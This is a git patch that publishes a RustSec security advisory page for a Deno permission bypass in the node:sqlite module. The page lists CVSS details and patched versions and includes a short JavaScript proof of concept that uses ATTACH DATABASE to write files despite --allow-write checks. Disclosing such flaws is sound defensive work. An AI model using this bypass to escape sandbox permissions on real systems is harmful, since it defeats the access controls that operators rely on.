From f3cec8e2f4e99c0f233df16edd77cf47c308492a Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 29 Dec 2025 10:04:35 +0000 Subject: [PATCH] Update gh-pages --- advisories/RUSTSEC-2025-0138.html | 279 +++++++++++++++++++++++++ advisories/index.html | 19 ++ feed.xml | 336 ++++++++++++++++++++---------- js/index.js | 4 +- keywords/index.html | 5 + keywords/read-write-bypass.html | 90 ++++++++ packages/deno.html | 90 ++++++++ packages/deno.json | 77 +++++++ packages/index.html | 6 + 9 files changed, 791 insertions(+), 115 deletions(-) create mode 100644 advisories/RUSTSEC-2025-0138.html create mode 100644 keywords/read-write-bypass.html create mode 100644 packages/deno.html create mode 100644 packages/deno.json diff --git a/advisories/RUSTSEC-2025-0138.html b/advisories/RUSTSEC-2025-0138.html new file mode 100644 index 000000000..2975d0a4e --- /dev/null +++ b/advisories/RUSTSEC-2025-0138.html @@ -0,0 +1,279 @@ + + + + + + + +RUSTSEC-2025-0138: deno: --allow-read / --allow-write permission bypass in `node:sqlite` › RustSec Advisory Database + + + + + + + + + +
+
+

+ + + +
+ +
+ +
+
+ + + History ⋅ + Edit ⋅ + JSON (OSV) + + + +
+

+ + RUSTSEC-2025-0138 + +

+

--allow-read / --allow-write permission bypass in node:sqlite

+
+
+ + + +
+
Reported
+
+ +
+ +
Issued
+
+ + +
+ +
Package
+
+ + + deno + (crates.io) + + +
+ +
Type
+
+ + Vulnerability + +
+ + + + +
Keywords
+
+ + #read-write-bypass + +
+ + + +
Aliases
+
+ +
+ + + +
References
+
+ +
+ + + + + +
CVSS Score
+
5.5 + MEDIUM +
+ +
CVSS Details
+
+
+ +
Attack Complexity
+
Low
+ +
Attack Requirements
+
None
+ +
Attack Vector
+
Network
+ +
Privileges Required
+
None
+ +
Availability Impact to the Subsequent System
+
None
+ +
Confidentiality Impact to the Subsequent System
+
None
+ +
Integrity Impact to the Subsequent System
+
None
+ +
User Interaction
+
None
+ +
Availability Impact to the Vulnerable System
+
None
+ +
Confidentiality Impact to the Vulnerable System
+
None
+ +
Integrity Impact to the Vulnerable System
+
Low
+ +
Exploit Maturity
+
ProofOfConcept
+ +
+
+ +
CVSS Vector
+ + +
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
+ + + + +
Patched
+
+ +
    + +
  • >=2.2.5
  • + +
+ +
+ + +
Unaffected
+
+
    + +
  • <2.2.0
  • + +
+
+ + + + +
+ + + + +

Description

+

It is possible to bypass Deno's read/write permission +checks by using ATTACH DATABASE statement.

+

PoC

+
// poc.js
+import { DatabaseSync } from "node:sqlite"
+
+const db = new DatabaseSync(":memory:");
+db.exec("ATTACH DATABASE 'test.db' as test;");
+
+db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
+
+
$ deno poc.js
+
+ + +

Advisory available under CC-BY-4.0 + license. + + + + + Source: https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596 + + +

+
+
diff --git a/advisories/index.html b/advisories/index.html index 17acd1a13..9e07ab0ea 100644 --- a/advisories/index.html +++ b/advisories/index.html @@ -64,6 +64,25 @@